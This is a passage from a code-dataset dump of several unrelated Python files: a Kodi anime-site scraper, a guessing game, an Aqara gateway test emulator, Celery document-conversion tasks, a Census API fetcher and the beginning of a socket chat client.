oOutputParameterHandler.addParameter('siteUrl', url)\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', sTitle, 'genres.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef ShowYearsAnimes():\n ShowYears('anime')\n\n\ndef ShowYearsDramas():\n ShowYears('drama')\n\n\ndef ShowYears(typemovie):\n oGui = cGui()\n list_year = loadTypelist(typemovie, 'year')\n # http://www.anime-ultime.net/series-0-1/anime/--626-- 2019\n oOutputParameterHandler = cOutputParameterHandler()\n for liste in reversed(list_year):\n url = URL_MAIN + 'series-0-1/' + typemovie + '/--' + liste[1] + '--'\n sTitle = liste[0]\n oOutputParameterHandler.addParameter('siteUrl', url)\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', sTitle, 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef ShowAlphaAnimes():\n ShowAlpha('anime')\n\n\ndef ShowAlphaDramas():\n ShowAlpha('drama')\n\n\ndef ShowAlphaTokusatsu():\n ShowAlpha('tokusatsu')\n\n\ndef ShowAlpha(typemovie):\n oGui = cGui()\n\n import string\n # http://www.anime-ultime.net/series-0-1/tokusatsu/c---\n sAlpha = string.ascii_lowercase\n listalpha = list(sAlpha)\n liste = [['#', URL_MAIN + 'series-0-1/' + typemovie + '/' + '1---']]\n for alpha in listalpha:\n liste.append([str(alpha).upper(), URL_MAIN + 'series-0-1/' + typemovie + '/' + alpha + '---'])\n\n oOutputParameterHandler = cOutputParameterHandler()\n for sTitle, sUrl in liste:\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'Lettre [COLOR coral]' + sTitle + '[/COLOR]', 'listes.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showSearch():\n oGui = cGui()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n\n sSearchText = oGui.showKeyBoard()\n if sSearchText:\n sUrl = sUrl + sSearchText\n showSeries(sUrl)\n oGui.setEndOfDirectory()\n return\n\n\ndef showSeries(sSearch=''):\n oGui = cGui()\n if sSearch:\n oUtil = cUtil()\n sSearchText = sSearch.replace(URL_SEARCH_DRAMAS[0], '')\n sSearchText = sSearchText.replace(URL_SEARCH_ANIMS[0], '')\n sSearchText = oUtil.CleanName(sSearchText)\n sUrl = sSearch.replace(' ', '+').replace('%20', '+')\n else:\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n oParser = cParser()\n if sSearch:\n sPattern = '<td class=\".+?<a href=\"([^\"]+)\".+?<img src=.+?img=([^>]+)\\/>.+?onMouseOut.+?>(.+?)<\\/a>.+?<td class=\"\" align=\"center\">([^<]+)<'\n else:\n sPattern = '<td class=\".+?<a href=\"([^\"]+)\".+?<img src=([^>]+)\\/>.+?alt=\"([^\"]+).+?align=\"center\">([^<]+)<'\n\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n # Si il y a qu'un seule resultat alors le site fait une redirection.\n if not aResult[0]:\n oOutputParameterHandler = cOutputParameterHandler()\n if sSearch and \"sultats anime\" not in sHtmlContent:\n sTitle = ''\n try:\n sTitle = re.search('<h1>([^<]+)', sHtmlContent).group(1)\n except:\n pass\n if sTitle:\n sUrl2 = sUrl\n sThumb = ''\n\n # Enleve le contenu pour adultes.\n if 'Public Averti' in sTitle or 'Interdit' in sTitle:\n if adulteContent == \"false\":\n oGui.addText(SITE_IDENTIFIER, '[COLOR red]Contenu pour adultes désactivé[/COLOR]')\n return\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n\n if '/anime/' in sUrl:\n oGui.addAnime(SITE_IDENTIFIER, 'showEpisode', sTitle, '', sThumb, '', oOutputParameterHandler)\n else:\n oGui.addDrama(SITE_IDENTIFIER, 'showEpisode', sTitle, '', sThumb, '', oOutputParameterHandler)\n\n else:\n oGui.addText(SITE_IDENTIFIER)\n else:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n sTitle = aEntry[2]\n if sSearch:\n # Enleve les balise.\n try:\n sTitle = re.sub('<.*?>', '', sTitle)\n except:\n pass\n\n try:\n sTitle = sTitle.decode('iso-8859-1').encode('utf8')\n except:\n pass\n\n sUrl2 = URL_MAIN + aEntry[0]\n sThumb = aEntry[1]\n\n if adulteContent == \"false\":\n # Enleve le contenu pour adulte.\n if 'Public Averti' in sTitle or 'Interdit' in sTitle:\n continue\n\n # Filtre de recherche\n if sSearch:\n if not oUtil.CheckOccurence(sSearchText, sTitle):\n continue\n\n sType = aEntry[3].strip()\n sTitle += ' [%s]' % sType\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n\n if sType != 'Episode':\n oGui.addMovie(SITE_IDENTIFIER, 'showEpisode', sTitle, '', sThumb, '', oOutputParameterHandler)\n elif '/anime/' in sUrl:\n oGui.addAnime(SITE_IDENTIFIER, 'showEpisode', sTitle, '', sThumb, '', oOutputParameterHandler)\n else:\n oGui.addDrama(SITE_IDENTIFIER, 'showEpisode', sTitle, '', sThumb, '', oOutputParameterHandler)\n\n if not sSearch:\n oGui.setEndOfDirectory()\n\n\ndef showEpisode():\n oGui = cGui()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sThumb = oInputParameterHandler.getValue('sThumb')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n oParser = cParser()\n sDesc = ''\n try:\n sPattern = 'src=\"images.+?(?:<br />)(.+?)(?:<span style|TITRE ORIGINAL|ANNÉE DE PRODUCTION|STUDIO|GENRES)'\n\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0]:\n sDesc = aResult[1][0].replace('<br>', '').replace('<br />', '')\n sDesc = sDesc.replace('Synopsis', '').replace('synopsis', '').replace(':', ' ')\n sDesc = ('[I][COLOR coral]%s[/COLOR][/I] %s') % ('Synopsis :', sDesc)\n\n # Enleve les balises.\n try:\n sDesc = re.sub('<.*?>', '', sDesc)\n except:\n pass\n except:\n pass\n\n sPattern = '<tr.+?align=\"left\">.+?align=\"left\">([^\"]+)</td>.+?nowrap>+?<.+?</td>.+?<.+?/td>.+?<.+?<a href=\"([^\"]+)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if aResult[0]:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n sTitle = aEntry[0]\n try:\n sTitle = sTitle.decode('iso-8859-1').encode('utf8')\n except:\n pass\n\n sLang = ''\n if ' vostfr' in sTitle:\n sLang = 'VOSTFR'\n if ' vf' in sTitle:\n sLang = 'VF'\n sTitle = aEntry[0].replace('[', '').replace(']', '').replace('FHD', '').replace('vostfr', '').replace('vf', '').replace('HD', '').replace('HQ', '').strip()\n if '(saison' in sTitle: \n sTitle = sTitle.replace('(', '').replace(')', '')\n sEpisode = sTitle.split(' ')[-1]\n sTitle = sTitle.replace(sEpisode, ' Episode ' + sEpisode).strip()\n sDisplayTtitle = sTitle + ' [' + sLang + ']'\n \n sUrl2 = URL_MAIN + aEntry[1]\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sLang', sLang)\n oGui.addEpisode(SITE_IDENTIFIER, 'showHosters', sDisplayTtitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showHosters():\n oGui = cGui()\n oParser = cParser()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n sPattern = 'id=\"stream\">Streaming <span itemprop=\"name\">([^<]+)<.+?thumbnailUrl\" content=\"([^\\\"]+)\".+?contentURL\" content=\"([^\\\"]+)\"'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if aResult[0]:\n for aEntry in aResult[1]:\n sTitle = aEntry[0].strip()\n if ' vostfr' in sTitle:\n sLang = 'VOSTFR'\n if ' vf' in sTitle:\n sLang = 'VF'\n sTitle = ('%s - [%s]') % (sMovieTitle, sLang)\n \n sThumb = aEntry[1]\n sHosterUrl = aEntry[2]\n oHoster = cHosterGui().checkHoster(sHosterUrl)\n if oHoster:\n oHoster.setDisplayName(sTitle)\n oHoster.setFileName(sTitle)\n cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\n\n oGui.setEndOfDirectory()\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/sites/animeultime.py","file_name":"animeultime.py","file_ext":"py","file_size_in_byte":15326,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"26089164879","text":"from itertools import permutations\nfrom random import shuffle\n \ntry:\n raw_input\nexcept:\n raw_input = input\ntry:\n from itertools import izip\nexcept:\n izip = zip\n \ndigits = '123456789'\nsize = 4\n \ndef p_x(x):\n x = x.strip().split(',')\n return tuple(int(s.strip()) for s in x)\n \ndef xcalc(guess, chosen):\n A = B = 0\n for a,b in izip(guess, chosen):\n if a == b:\n A += 1\n elif a in chosen:\n B += 1\n return A, B\n \npossiblities = list(permutations(digits, size))\nshuffle(possiblities)\nanswers = []\nxs = []\n \nprint (\"Playing 猜數字 xAyB %i 位數字\\n\" % size)\n \nwhile True:\n ans = possiblities[0]\n answers.append(ans)\n print (\"(還有 %i 個可能)\" % len(possiblities))\n x = raw_input(\"第一次猜測是 %2i is %*s. Answer (A, B)? \"\n % (len(answers), size, ''.join(ans)))\n x = p_x(x)\n xs.append(x)\n print(\"A: %i, B: %i\" % x)\n found = x == (size, 0)\n if found:\n print (\"耶終於答對了\")\n break\n possiblities = [c for c in possiblities if xcalc(c, ans) == x]\n if not possiblities:\n print (\"你的答案沒有在可能的數字之中,應該算錯A跟B了:\")\n print (' ' +\n '\\n '.join(\"%s -> %s\" % (''.join(an),sc)\n for an,sc in izip(answers, xs)))\n break\n","repo_name":"ericricoyang/AI-Research-Notes","sub_path":"Guess_number_interaction.py","file_name":"Guess_number_interaction.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7086703596","text":"\"\"\"Limited implementation of Aqara Gateway\"\"\"\nimport json\nimport logging\nimport asyncio\nimport random\nimport string\nimport socket\nimport struct\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass DiscoveryProtocol(asyncio.DatagramProtocol):\n \"\"\"Aqara Gateway discovery requests listener (port 4321)\"\"\"\n\n def __init__(self, server, main_protocol):\n self.server = server\n self.main_protocol = main_protocol\n\n def connection_made(self, transport):\n _LOGGER.info('Discovery %s connected', self.server['ip'])\n self.transport = transport\n\n def datagram_received(self, data, addr):\n _LOGGER.info('Discovery %s << %s %s', self.server['ip'], data, addr)\n req = json.loads(data.decode())\n # Real gateway replies with 'iam' even if client will send an empty request\n if req['cmd'] != 'whois':\n _LOGGER.error('Waited for \"whois\", got \"%s\"', req['cmd'])\n res = json.dumps({\n \"cmd\": \"iam\",\n \"ip\": self.server['ip'],\n \"port\": \"9898\",\n \"model\": \"gateway\",\n \"sid\": self.server['sid'],\n })\n _LOGGER.info('Discovery %s >> %s %s',\n self.server['ip'], res.encode(), addr)\n # Hack. If we will send from self.transport, client will receive packet from its own IP, not gateway's, which\n # fails discovery process in client. Maybe it's how linux deals with packets sent from multicast listener socket\n # listening on aliased NICs. I had no luck with creating separate interfaces:\n # https://serverfault.com/questions/932412/udp-multicast-on-a-dummy-nics\n self.main_protocol.transport.sendto(res.encode(), addr)\n\n def stop(self):\n self.transport.close()\n\n\nclass MainProtocol(asyncio.DatagramProtocol):\n \"\"\"Aqara Gateway main requests listener (port 9898)\"\"\"\n\n def __init__(self, server):\n self.server = server\n\n def connection_made(self, transport):\n _LOGGER.info('Main %s connected', self.server['ip'])\n self.transport = transport\n self._gen_key()\n\n def datagram_received(self, data, addr):\n _LOGGER.info('Main %s << %s %s', self.server['ip'], data, addr)\n req = json.loads(data.decode())\n if req['cmd'] == 'get_id_list':\n res = self._on_get_id_list()\n elif req['cmd'] == 'read':\n res = self._on_read(req)\n elif req['cmd'] == 'write':\n res = self._on_write(req)\n else:\n _LOGGER.error('Main %s got unsupported cmd \"%s\"', self.server['ip'], req['cmd'])\n return {\n 'cmd': 'server_ack',\n 'sid': self.server['sid'],\n 'data': json.dumps({'error': 'Unsupported cmd'}),\n }\n\n self.transport.sendto(json.dumps(res).encode(), addr)\n _LOGGER.info('Main %s >> %s %s', self.server['ip'], res, addr)\n\n def stop(self):\n self.transport.close()\n\n def _gen_key(self):\n self.token = ''.join(random.choice(\n string.ascii_letters + string.digits) for _ in range(16))\n # https://aqara.gitbooks.io/lumi-gateway-lan-communication-api/content/chapter1.html#2-encryption-mechanism\n init_vector = bytes(bytearray.fromhex(\n '17996d093d28ddb3ba695a2e6f58562e'))\n encryptor = Cipher(algorithms.AES(self.server['key'].encode()),\n modes.CBC(init_vector),\n backend=default_backend()).encryptor()\n ciphertext = encryptor.update(\n self.token.encode()) + encryptor.finalize()\n self.key = ''.join('{:02x}'.format(x) for x in ciphertext)\n\n def _on_get_id_list(self):\n devices = list(self.server['devices'].keys())\n devices.remove(self.server['sid'])\n return {\n 'cmd': 'get_id_list_ack',\n 'sid': self.server['sid'],\n 'token': self.token,\n 'data': json.dumps(devices),\n }\n\n def _on_read(self, req):\n device = self.server['devices'][req['sid']]\n return {\n 'cmd': 'read_ack',\n 'model': device['model'],\n 'sid': device['sid'],\n 'short_id': device['short_id'],\n 'data': json.dumps(device['data']),\n }\n\n def _on_write(self, req):\n device = self.server['devices'][req['sid']]\n device['data']['status'] = req['data']['status']\n if req['data']['key'] != self.key:\n return {\n 'cmd': 'write_ack',\n 'sid': device['sid'],\n 'data': json.dumps({'error': 'Invalid key'}),\n }\n\n return {\n 'cmd': 'write_ack',\n 'model': device['model'],\n 'sid': device['sid'],\n 'short_id': device['short_id'],\n 'data': json.dumps(device['data']),\n }\n\n\nclass AqaraGateway:\n \"\"\"Emulates Aqara Gateway\"\"\"\n\n def __init__(self, config, event_loop):\n main_protocol = MainProtocol(config)\n task = event_loop.create_datagram_endpoint(lambda: main_protocol,\n local_addr=(config['ip'], 9898))\n asyncio.ensure_future(task, loop=event_loop)\n sock = socket.socket(\n socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind(('224.0.0.50', 4321))\n mreq = socket.inet_aton('224.0.0.50') + socket.inet_aton(config['ip'])\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n discovery_protocol = DiscoveryProtocol(config, main_protocol)\n task = event_loop.create_datagram_endpoint(lambda: discovery_protocol,\n sock=sock)\n asyncio.ensure_future(task, loop=event_loop)\n self.discovery_protocol = discovery_protocol\n self.main_protocol = main_protocol\n\n def stop(self):\n self.discovery_protocol.stop()\n self.main_protocol.stop()\n","repo_name":"Danielhiversen/PyXiaomiGateway","sub_path":"tests/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","stars":149,"dataset":"github-code","pt":"37"} +{"seq_id":"18805739867","text":"import logging\nimport mimetypes\nimport tempfile\nimport urllib2\nimport os\nimport json\nimport subprocess\nimport shutil\nimport re\n\nimport Image\nimport slumber\nimport requests\nfrom django_statsd.clients import statsd\nfrom django.conf import settings\nfrom requests.auth import HTTPDigestAuth\nfrom poster.encode import multipart_encode\nfrom poster.streaminghttp import register_openers\n\nfrom celery.task import task\nfrom celery.task import Task\nfrom celery.task.sets import subtask\nfrom celery.exceptions import WorkerLostError\n# Setup logging and stats\nlog = logging.getLogger(__name__)\nstatsd\n\n# Register the streaming http handlers with urllib2\nregister_openers()\n\n# Useful stuff\nAPI_SERVER_URL = getattr(settings, 'API_SERVER_URL', 'http://localhost:8000')\nAPI_USERNAME = getattr(settings, 'API_USERNAME', 'bot')\nAPI_KEY = getattr(settings, 'API_KEY', '123')\nJOD_URL = getattr(settings, 'JOD_URL', 'http://localhost:8080/converter2/service')\n\n# Celery tasks\nauth = HTTPDigestAuth(API_USERNAME, API_KEY)\napi = slumber.API(API_SERVER_URL + '/api/v1',\n auth=auth)\n\n@task(acks_late=True)\ndef create_pdf(document_pk, type='pdf', callback=None):\n doc = api.document(document_pk).get()\n log.info('Starting conversion of: %s', doc[u'title'])\n for pack in doc[u'packs']:\n if pack[u'type'] == u'pdf':\n log.info('DerivedPack with pdf type. Creation stopped')\n return True\n\n statsd.incr('attemped_conversions')\n\n # Get the file using the absolute url\n url = API_SERVER_URL + doc[u'download_url']\n\n req = requests.get(url, auth=auth)\n if req.status_code != 200:\n statsd.incr('failed_conversions')\n log.warn('Did not get a HTTP 200 code when retrieving document.' +\n 'Aborting convertion. Error Returned: %s - %s - %s',\n req.url, req.status_code, req.text)\n\n create_pdf.retry()\n\n if not 'content-type' in req.headers:\n statsd.incr('failed_conversions')\n log.error('No mime type returned with document request')\n return False\n\n if req.headers['content-type'] == 'application/pdf':\n log.info(\"Can't convert pdf's\")\n if callback:\n subtask(callback).delay()\n return False\n\n extension = mimetypes.guess_extension(req.headers['content-type'])\n\n # Create a temp file using the extension derived from the mime-type\n # 3mb spooled file\n file = tempfile.SpooledTemporaryFile(max_size=3*1000000,suffix=extension)\n\n for data in req.iter_content(10240):\n file.write(data)\n\n # Seek to front of file before we stream to the convert service\n file.seek(0)\n\n # Botched file streaming\n headers = {}\n try:\n filesize = os.fstat(file.fileno()).st_size\n except (OSError, AttributeError):\n try:\n fileobj.seek(0, 2)\n filesize = fileobj.tell()\n fileobj.seek(0)\n except:\n statsd.incr('failed_conversions')\n log.error('Unable to determine original file filesize')\n return False\n\n headers['Content-Type'] = req.headers['content-type']\n headers['Accept']= \"application/pdf\"\n headers['Content-Length'] = '%s' % filesize\n\n def yielder():\n while True:\n block = file.read(10240)\n if block:\n yield block\n else:\n break\n\n try:\n req = urllib2.Request(JOD_URL, yielder(), headers)\n\n # Get the return file\n return_file = urllib2.urlopen(req)\n new_file = tempfile.NamedTemporaryFile(suffix='.pdf')\n while True:\n data = return_file.read(10240)\n if data:\n new_file.write(data)\n else:\n break\n\n except urllib2.HTTPError as e:\n statsd.incr('failed_conversions')\n msg = e.msg\n if e.fp:\n msg += ' - %s' % e.fp.read()\n log.error('Conversion service error: %s - %s - %s', e.hdrs, e.code, msg)\n create_pdf.retry(exc=e)\n\n # Seek file to beginning so we can post it back to the main service\n try:\n new_file.seek(0)\n\n # Create a new derivedfile pack\n pack = api.derivedpack.post({\"type\": \"pdf\", \"document\": doc[\"resource_uri\"]})\n\n url = API_SERVER_URL + \"/api/v1/document/%s/pack/%s/derived_file/\" % (\n document_pk, pack[\"id\"])\n\n datagen, headers = multipart_encode({'file': new_file, 'order':'0'})\n\n request = urllib2.Request(url, datagen, headers)\n\n response = urllib2.urlopen(request)\n response = json.loads(response.read())\n if not response['success']:\n log.error('Derived file post failed: %s', response['message'])\n except urllib2.HTTPError as e:\n statsd.incr('failed_conversions')\n log.error('Failed to upload: %s - %s - %s', e.hdrs, e.code, e.msg)\n return False\n\n statsd.incr('successful_convertions')\n\n if callback:\n subtask(callback).delay()\n return True\n\n@task(acks_late=True)\ndef create_pngs(document_pk, type='pngs', callback=None):\n doc = api.document(document_pk).get()\n log.info('Starting png generation of: %s', doc[u'title'])\n\n # Check to make sure that we don't already have a pngs pack\n for pack in doc[u'packs']:\n if pack[u'type'] == u'pngs':\n log.warn('a pngs pack aready exists for this document!')\n return False\n\n # Locate a pdf file\n pdf = None\n for pack in doc[u'packs']:\n if pack[u'type'] == u'pdf':\n pack = api.derivedpack(pack[u'id']).get()\n for file in pack[u'files']:\n if file[u'order'] == 0:\n pdf = api.derivedfile(file[u'id']).get()\n break\n break\n\n if not pdf:\n if doc[u'file'].endswith('.pdf'):\n pdf = doc\n\n if not pdf:\n log.error('Unable to generate pngs for %s because there is no pdf', doc[u'title'])\n return False\n\n # Get the file using the absolute url\n url = API_SERVER_URL + pdf[u'download_url']\n\n req = requests.get(url, auth=auth)\n if req.status_code != 200:\n statsd.incr('failed_png_generations')\n log.warn('Did not get a HTTP 200 code when retrieving document.' +\n 'Aborting convertion. Error Returned: %s - %s - %s',\n req.url, req.status_code, req.text)\n\n create_pdf.retry()\n\n # Create a temp folder\n temp_folder = tempfile.mkdtemp()\n log.debug('working with: %s', temp_folder)\n\n file = tempfile.NamedTemporaryFile(dir=temp_folder, delete=False)\n\n for data in req.iter_content(10240):\n file.write(data)\n file.close()\n\n # Now call ghostscript\n return_code = subprocess.call([\"gs\", \"-sDEVICE=png16m\",\n \"-sOutputFile=%s/slide-%s.png\" % (temp_folder, '%03d'),\n \"-r600\", \"-dNOPAUSE\", \"-dBATCH\", \"-dMaxBitmap=1000000000\",\n \"-dFirstPage=1\", \"-dLastPage=1\",\n \"%s\" % file.name])\n\n if return_code != 0:\n log.error('Ghostscript error')\n # Clean up\n shutil.rmtree(temp_folder)\n create_pngs.retry()\n\n # Process the generated files with PIL\n\n # First generate a list of file in the tempdir\n compiled_regex = re.compile('^slide-(\\w+).png$')\n scaled_images = {}\n for file in os.listdir(temp_folder):\n # Check using regex\n match = re.match(compiled_regex, file)\n if match:\n log.debug('scaling image: %s', file)\n order = int(match.group(1))\n\n # Resize using PIL\n slide = Image.open(os.path.join(temp_folder, file))\n slide.thumbnail((1920, 1200), Image.ANTIALIAS)\n\n new_filename = os.path.join(temp_folder, 'slide-scaled-%03d.png' % order)\n slide.save(new_filename)\n scaled_images[order] = new_filename\n\n # Make sure that the order starts at 0 and has no gaps\n new_images = {}\n order = 0\n sorted_keys = scaled_images.keys()\n sorted_keys.sort()\n for item in [scaled_images[key] for key in sorted_keys]:\n new_images[order] = item\n order += 1\n scaled_images = new_images\n\n # Now go through all the generated slides and upload\n # Create a new derivedfile pack\n pack = api.derivedpack.post({\"type\": \"pngs\", \"document\": doc[\"resource_uri\"]})\n for order, filename in scaled_images.iteritems():\n file = open(filename, 'rb')\n try:\n log.debug('attemping to upload: %s' % filename)\n url = API_SERVER_URL + \"/api/v1/document/%s/pack/%s/derived_file/\" % (\n document_pk, pack[\"id\"])\n\n datagen, headers = multipart_encode({\n 'file': file, 'order':str(order)\n })\n\n request = urllib2.Request(url, datagen, headers)\n\n response = urllib2.urlopen(request)\n response = json.loads(response.read())\n\n if not response['success']:\n log.error('Derived file post failed: %s', response['message'])\n except urllib2.HTTPError as e:\n statsd.incr('failed_conversions')\n log.error('Failed to upload: %s - %s - %s - %s',\n filename, e.hdrs, e.code, e.msg)\n finally:\n file.close()\n\n shutil.rmtree(temp_folder)\n\n if callback:\n subtask(callback).delay()\n\n return True\n","repo_name":"thomaspurchas/ESO","sub_path":"src/convert/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":9257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12723932225","text":"import regex\nimport sys\nimport yaml\nimport threading\nimport numpy as np\nimport pandas as pd\nimport requests\n\ndef get_config_path():\n\tconfig_path = sys.argv[1]\n\tif regex.search('.+\\.yaml', config_path) is None:\n\t\tprint('Config file must end in .yaml')\n\t\tquit()\n\n\tif '.yaml' in config_path:\n\t\ttry: \n\t\t\twith open(config_path) as config_file:\n\t\t\t\tconfig = yaml.full_load(config_file)\n\t\texcept FileNotFoundError:\n\t\t\tprint(f'file \"{config_path}\" not found')\n\t\t\tquit()\n\t\texcept:\n\t\t\tprint(\"error reading yaml file\")\n\t\t\tquit()\n\treturn (config_path, config)\n\ndef get_vars_from_config(config): \n\tvars = []\n\tvar_labels = []\n\tfor table in config['census_tables'].values():\n\t\ttable_code = table['source_table']\n\t\ttable_vars = [] #used to correct for different number of columns and column names\n\t\tfor column in table['columns']:\n\t\t\ttable_vars.append(f\"{table_code}_{column}\")\n\n\t\tfor idx, column_name in enumerate(table['column_names']):\n\t\t\tif idx >= len(table['columns']):\n\t\t\t\tbreak\n\t\t\tvar_labels.append(column_name)\n\t\tif idx < len(table['columns']) - 1:\n\t\t\tvar_labels.extend(table_vars[idx+1:len(table_vars)])\n\t\tvars.extend(table_vars)\n\treturn (vars, var_labels)\n\ndef request_data(vars, var_labels, geo=\"tract\", api_key=None, batch_size=10):\n\tif api_key is None: \n\t\tprint(\"Error: No API key provided\")\n\t\treturn []\n\tdf_fragments = []\n\tthreads = []\n\tlock = threading.Lock()\n\n\tdef req_with_vars(col_vars, col_names):\n\t\turl_params = {\n\t\t\t'get': ','.join(col_vars),\n\t\t\t'for': f'{geo}:*',\n\t\t\t'key': f'{api_key}',\n\t\t}\n\t\turl_base = 'https://api.census.gov/data/2019/acs/acs5'\n\t\tres = requests.get(url_base, params=url_params)\n\t\t\n\t\tif res.status_code != 200:\n\t\t\tprint(\"error fetching data\")\n\t\t\tprint(\"response:\")\n\t\t\tprint(res.__dict__)\n\t\t\treturn []\n\n\t\tdata = res.json()\n\t\tres_col_names = data[0]\n\t\tcol_names.extend(res_col_names[len(col_names):])\n\t\tres_data = np.array(data[1:], dtype=np.float64)\n\t\tdf = pd.DataFrame(res_data, columns=col_names)\n\t\twith lock:\n\t\t\tdf_fragments.append(df)\n\n\tfor i in range(0, len(vars), batch_size):\n\t\tthread = threading.Thread(target=req_with_vars, args=(vars[i:i+batch_size], var_labels[i:i+batch_size]), daemon=True)\n\t\tthreads.append(thread)\n\n\tprint(\"Fetching data ...\")\n\tfor t in threads:\n\t\tt.start()\n\n\tfor t in threads:\n\t\tt.join()\n\n\treturn df_fragments\n\nstate_codes_to_abbr = {1: 'AL', 2: 'AK', 4: 'AZ', 5: 'AR', 6: 'CA', 8: 'CO', 9: 'CT', 10: 'DE', 11: 'DC', 12: 'FL', 13: 'GA', 15: 'HI', 16: 'ID', 17: 'IL', 18: 'IN', 19: 'IA', 20: 'KS', 21: 'KY', 22: 'LA', 23: 'ME', 24: 'MD', 25: 'MA', 26: 'MI', 27: 'MN', 28: 'MS', 29: 'MO', 30: 'MT', 31: 'NE', 32: 'NV', 33: 'NH', 34: 'NJ', 35: 'NM', 36: 'NY', 37: 'NC', 38: 'ND', 39: 'OH', 40: 'OK', 41: 'OR', 42: 'PA', 44: 'RI', 45: 'SC', 46: 'SD', 47: 'TN', 48: 'TX', 49: 'UT', 50: 'VT', 51: 'VA', 53: 'WA', 54: 'WV', 55: 'WI', 56: 'WY', 60: 'AS', 64: 'FM', 66: 'GU', 68: 'MH', 69: 'MP', 70: 'PW', 72: 'PR', 74: 'UM', 78: 'VI'}\n\ndef make_csv_from_fragments(df_fragments, var_labels):\n\tfinal_cols = []\n\tdf = pd.concat(df_fragments, axis=1)\n\tdf = df.loc[:, ~df.columns.duplicated()]\n\tif 'state' in df.columns:\n\t\tdf['state'] = df['state'].apply(lambda code: state_codes_to_abbr[code])\n\t\tfinal_cols.append(\"state\")\n\tif 'zip code tabulation area' in df.columns:\n\t\tfinal_cols.append(\"zip code tabulation area\")\n\tfinal_cols.extend(var_labels)\n\tdf = df[final_cols]\n\n\toutfile_path = sys.argv[2] if len(sys.argv) >= 3 and regex.search('.+\\.csv', sys.argv[2]) is not None else \"data/data.csv\"\n\tdf.to_csv(outfile_path)","repo_name":"MatthewGreenspun/ACS-API-Wrapper","sub_path":"fetch-data/data_grabber.py","file_name":"data_grabber.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32190894569","text":"#!/usr/bin/python3\n#coding: utf-8\n\"\"\"\nProgram by Victor Couty (victor@couty.eu)\n2016\n\"\"\"\n\nimport sys\n\nif sys.version_info.major != 3:\n print(\"Please use Python3 to run this program\")\n sys.exit(-1)\n\nimport socket\nimport select\nfrom threading import Thread\nfrom multiprocessing import Queue\n\nfrom glob import *\nfrom encoder import Encoder\n\ndef parse(msg,val):\n return msg[msg.find(val+b'[')+len(val)+1:].split(b']')[0]\n\nclass Fetcher(Thread):\n def __init__(self,nh):\n Thread.__init__(self)\n self.loop = True\n self.nh = nh\n\n def run(self):\n self.nh.sprint(\"Starting Fetcher!\")\n while self.loop:\n waiting = select.select([self.nh.conn],[],[],0.1)[0]\n if len(waiting) == 0:\n continue\n msg = self.nh.conn.recv(SIZE)\n if len(msg) == 0:\n self.stop()\n\n# self.nh.sprint(msg.decode('utf-8'))\n self.nh.sprint(self.nh.encoder.decrypt(msg))\n\n def stop(self):\n self.loop = False\n\nclass Network_handler:\n def __init__(self,sprint):\n self.clear_conn()\n self.sprint = sprint\n\n def clear_conn(self):\n self.conn = None\n self.address = None\n self.port = None\n self.connected = False\n\n def connect(self,address,port):\n if self.connected:\n self.sprint(\"Disconnecting from 